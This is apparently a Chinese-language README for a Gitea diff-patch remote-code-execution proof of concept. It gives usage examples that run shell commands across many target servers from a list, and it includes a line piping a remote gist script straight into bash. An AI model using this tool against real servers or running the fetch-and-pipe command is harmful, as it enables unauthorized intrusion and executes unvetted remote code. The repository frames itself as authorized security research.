更多:https://github.com/go-gitea/gitea/security/advisories/GHSA-rcr6-4jqh-j84m
通过 PayPal 或扫描下方二维码支持本项目的维护。
仅在安全且经授权的环境中使用本项目,例如:
示例配置:
git clone <repository-url>
cd <repository-name>
# Project use python follow below
# Create a virtual environment
python -m venv venv
# Activate the virtual environment
# macOS / Linux
source venv/bin/activate
# Windows (Git Bash / WSL)
source venv/Scripts/activate
# Install requirments
pip install -r requirements.txt
示例用法:
# 1. Optional global password for lines that omit it
export GITEA_PASSWORD='defaultpass'
# 2. Run (safe first)
python3 gitea_diffpatch_rce_poc.py --targets targets.txt -c 'id' --dry-run
# 3. Real run with 3 workers
python3 gitea_diffpatch_rce_poc.py --targets targets.txt -c 'id; uname -srm; pwd' -w 3
# 4. Classic single-target still works
python3 gitea_diffpatch_rce_poc.py http://127.0.0.1:3000 admin 'id'
注意:
curl -fsSL https://gist.githubusercontent.com/HORKimhab/24c89ee9a86a42aac88381334f8bfe48/raw | bash -s -- -y 来清理嵌套的 .git 目录一个用于在受控环境中学习、测试和研究网络安全概念的仓库。
本仓库仅用于教育和经授权的安全研究。
它旨在帮助用户了解:
仅在您拥有相应权限的环境中使用本仓库,例如:
严禁未经授权或非法的使用。
作者与贡献者不对因本项目造成的任何损害、误用、法律问题或损失负责。
使用本仓库即表示您同意:
本项目旨在用于:
请遵循负责任的披露实践,并遵守所有适用法律。
如需进行负责任的披露或合作,请通过 GitHub 联系仓库维护者。